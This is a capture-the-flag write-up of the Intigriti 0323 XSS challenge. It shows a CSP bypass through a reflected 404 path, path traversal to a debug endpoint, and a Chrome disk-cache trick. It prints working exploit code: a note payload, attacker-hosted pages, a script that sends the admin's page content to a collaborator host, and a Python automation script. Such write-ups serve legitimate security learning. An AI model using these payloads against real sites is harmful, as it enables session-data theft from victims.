0323

It's been a while since last time i played an intigriti challenge. The last one that i've played was the 0922 and i still have nightmares on it. But there is no time for nostalgia right now, so let's jump into this amazing and out-of-time solved challenge

Analysis

Basically the application allow us to create notes. The goal is to get xss on the challenge page to retrieve the admin note which contains the flag. The admin is realized as a bot which would visit any site that we provide and stays there for 8 seconds. Simply, isn't it?

Well, if we give a quick look at the source code we can find our first problem.

```
app.use((req, res, next) => {
  res.setHeader(
    "Content-Security-Policy",
    "default-src 'self'; style-src fonts.gstatic.com fonts.googleapis.com 'self' 'unsafe-inline';\
    font-src fonts.gstatic.com 'self'; script-src 'self'; base-uri 'self'; frame-src 'self'; frame-ancestors 'self';  object-src 'none';"
  );
  next();
});
```

The CSP specify `script-src self` so we need to find some sort of file upload to use as source for the script tag to perform xss.
But the surprises are far from done. While i was looking for an injection point to, at least, inject our script tag i found my worst enemy.
Apparently in the entire code of the application we have only two injection point. The first one is when we create a note the body of the note is insert into the innerHTML of the page but first is sanitized with DOMPurify

```
let id;
let params = new URL(document.location).searchParams;

if (params.get("id")){
    id = params.get("id").trim().replace(/\s\r/,'');
    fetch(`/note/${id}`, {
        method: 'GET',
        headers: {
            'mode': 'read'
        },
    })
    .then(response => {
        return response.text()
    })
    .then(data => {
        if (data) {
            window.noteContent.innerHTML = DOMPurify.sanitize(data, {FORBID_TAGS: ['style']}); // no CSS Injection
        } else {
            document.getElementsByClassName("msg-info")[0].innerHTML="404 😭"
            window.noteContent.innerHTML = "404 😭"
        }
    })
} else {
    document.getElementsByClassName("msg-info")[0].innerHTML="404 😭"
    window.noteContent.innerHTML = "404 😭"
}
```

But wait we have a second injection point, so we can have xss right? Well that's not so easy otherwise it won't be a Bruno x Godson challenge.

The code in the backend, there is a debug endpoint

```
// DEBUG Endpoints
// TODO: Remove this before moving to prod
app.get("/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/:id", (req, res) => {
  let mode = req.headers["mode"];
  if (mode === "read") {
    res.send(getPostByID(req.params.id).note);
  } else {
    return res.status(404).send("404");
  }
});
```

This seems interesting, basically if we create a malicious note and we make a request to the debug endpoint with the id of our note we can achieve xss, because the content of the note is stored as it is server-side and only sanitized client-side on the specific page to view the note
The only problem here is the header, because it must be present in order to send back to us the note un-sanified.
Well, at this point, you might say that we can send the admin to a page controlled by us and fetch the debug header with the header setted. And that's not possibile because CORS is setted and only allow requests from the same origin

```
// enable CORS for requests from localhost
app.use(
  cors({
    origin: [URL], // CORS 👊
    credentials: true,
    allowedHeaders: ["Content-Type", "mode"],
  })
);
```

N.B URL is set to 127.0.0.1

Guess what? The only endpoint to set the proper header is the same that uses DOMPurify to what it receives
It seems that there is no way out of this challenge

CSP bypass

Let's do one thing at a time, the first thing that we are going to do is to bypass the CSP, then we are going to deal with DOMPurify.

At least this step was easy for me, beacause there is another endpoint that was a little out of context

```
app.get("*", (req, res) => {
  res.setHeader("content-type", "text/plain"); // no xss)
  res.status = 404;
  try {
    return res.send("404 - " + encodeURI(req.path));
  } catch {
    return res.send("404");
  }
});
```

This endpoint takes any request towards any non existent endpoint and sends back to us an error with the path that we specify. So what we have here is our input reflected into the page which seems really cool. The only thing is that `encodeURI` allows us to only use a limited set of special chars so we can't inject a proper html tag here.
But this can be really useful to bypass the CSP. Think about it, we have a reflection of text into the page that we can use as script source for our script tag to suite for the `script-src self`

Now how we can have some valid javascript from that? On the page we have `404 - /whatever` reflected. If we provide this into the devtools we can find that there is an error

```
>> 404 - /kiwi
Uncaught SyntaxError: unterminated regular expression literal
                                        debugger eval code:1:11
```

So the `/` creates, in javascript, a regular expression. We can just close the regex and then inject the javascript code that we want. For testing purposes i will use `/404/i;alert()` and everything works. So we have bypassed the CSP if we provide a script src like `https://challenge-0323.intigriti.io/404/i;alert(1)`

This same technique was used also in another CTF challenge: https://www.hackthebox.com/blog/UNI-CTF-21-complex-web-exploit-chain-0day-bypass-impossible-CSP

Breaking the sound wall

Now the things are getting interesting, because i had no clue on how to go on until the second hint got released. I started with thinking about server side prototype pollution, since `JSON.parse` was used and then there was an assignment to create some sort of database. But there were the checks about the type of what we inject when create a note, that must be a string.
Then i started thinking about CORS bypass, but that seems also impossible. Last i though about the fact that maybe i missed some injection point. With another injection point i could theoretically use prototype pollution to disable DOMPurify, but after reviewing the code nothing stands out.

I was literally losing my minds, because everything i try was a dead end. The only thing that i noticed was the fact that client-side the request was made with an id that is the one for the note, but we can actually use path traversal to fetch the debug endpoint and since the header is set to `read` the server responds back to us with the note, but since DOMPurify still there that was useless, or at least is what i thought until the second hint got released.

SECCON quals takes the stage

From the beginning of the challenge i thought about the fact that there will be some super weird trick to achieve xss, so i started reading all the major xss challenge released in the last year or so. When i started reading about the SECCON quals challenges i looked only for the ones which contains DOMPurify, or DOM Clobbering or Prototype-Pollution, deliberately skipping one challenge that contained Cache as keyword

When i read the word "cache" in the second hint, i was near to a mental breakdown. So i looked back at the SECCON quals challenges an read the writeup for the challenge `spanote`
https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote

The idea behind the challenge is not that complex. Chrome uses two caches one is bfcache and the other one is disk cache. The key difference is that disk cache saves also requests made with fetch. The bfcache has priority over disk cache when both are elegibile for back/forward navigations. So we need first to disable bfcache, and it's super easy. If we open a page with `window.open` the bfcache will be disabled for that page.
Now we have alle the pieces of the puzzle to solve the challenge

Solving the millenium puzzle

One last thing missing, what we are going to inject as our javascript payload, and since `encodeURI` is used we have a limited choice of what chars we can use. Last but not least, there is no `unsafe-eval` so we cannot use any `setTimeout` or eventHandler to wait for the note pages to be loaded from the admin bot.
But we need a time delay, so my choice goes with a style a tag that imports styles from a url. This will give us the time for an iframe that points to the notes of the admin to load, so we can read the id of the note which contains the flag.

The trick cames from this research by portswigger: https://portswigger.net/research/dom-clobbering-strikes-back
So the flow is the following:

- Use the following source for the script tag `src = "http://127.0.0.1/404/i;u='//collaborator/';location=u+btoa(encodeURIComponent(document.getElementById('endless').contentWindow.document.body.innerHTML));"`

- Create a malicious note with this body

```
{
        "title":"payload",
        "note":"<iframe id='endless' src='http://127.0.0.1/notes' ></iframe>\
        <style>@import '//fonts.gstatic.com'</style><script src="+src+"></script>"
}
```

- Retrieve the id of the note and use it in the following page that will perform the cache trick. Notice that we are going to use the path traversal trick to save in the cache the debug page with our script tag un-sanified. We will call this page `payload.html`

```
<script>
var id = "maitai";
const sleep = (msec) => new Promise((resolve) => setTimeout(resolve, msec));
const main = async () => {
    var tab;
    {
        tab = open("http://127.0.0.1/debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/"+id);
    }
    await sleep(1000);
    {
        tab.location = "http://127.0.0.1/note/"+id+"?id=../debug/52abd8b5-3add-4866-92fc-75d2b1ec1938/"+id;

    }
    await sleep(1000);
    {
        tab.location = `${location.origin}/exp.html`;

    }
};
main();
</script>
```

- Create `exp.html` as following `<script>history.go(-2);</script>`
- Host both `payload.html` and `exp.html`, send a request to `/visit?url=http://our_web_server/payload.html` so the admin bot performs all the operation needed to exfiltrate the note id of the flag
- Once we have the note id, in this case we exfiltrate the whole body of the admin homepage encoded in base64, we can send a request to `/note/id_of_flag?id=id_of_flag` to get the flag to get the flag

Everything was automated using this script, the only thing that you need to do manually is to decode from base64 the body of the request, get the note id and fetch the endpoint for reading notes with the id that you get

```
import requests
import re

url = "https://challenge-0323.intigriti.io"
src =
"http://127.0.0.1/404/i;u='//collaborator/';location=u+btoa(encodeURIComponent(document.getElementById('
endless').contentWindow.document.body.innerHTML));"
print("[+] Creating malicious note")
x = requests.post(url+"/create",json={"title":"payload","note":"<iframe id='endless'
src='http://127.0.0.1/notes' ></iframe><style>@import '//fonts.gstatic.com'</style><script src="+src+">
</script>"})
cookie = x.cookies

print("[+] Getting the id of the note")
x = requests.get(url+"/notes",cookies=cookie)
noteId = re.search("/note/\w+-\w+-\w+-\w+-\w+",x.text).group().split("/note/")[1]
print(noteId)

with open('payload.html','r') as f:
        filedata = f.read()

filedata=filedata.replace('maitai',noteId) #every time we need to rechange the id back to maitai in
order to automate everything
```

```
with open('payload.html','w') as f:
        f.write(filedata)

x = requests.get(url+'/visit?url=http://our_web_server/payload.html')
```

Conclusion

Really big thanks to @BrunoModificato and @0xGodson *to create this amazing challenge, there a lot of thing that i've learned from it.*
Big thanks also to @arkark for the trick of the cache in chrome

I would also, once again, thank @drw0if for playing and dealing with me, playing together is really fun and bouncing ideas is really helpful in every situation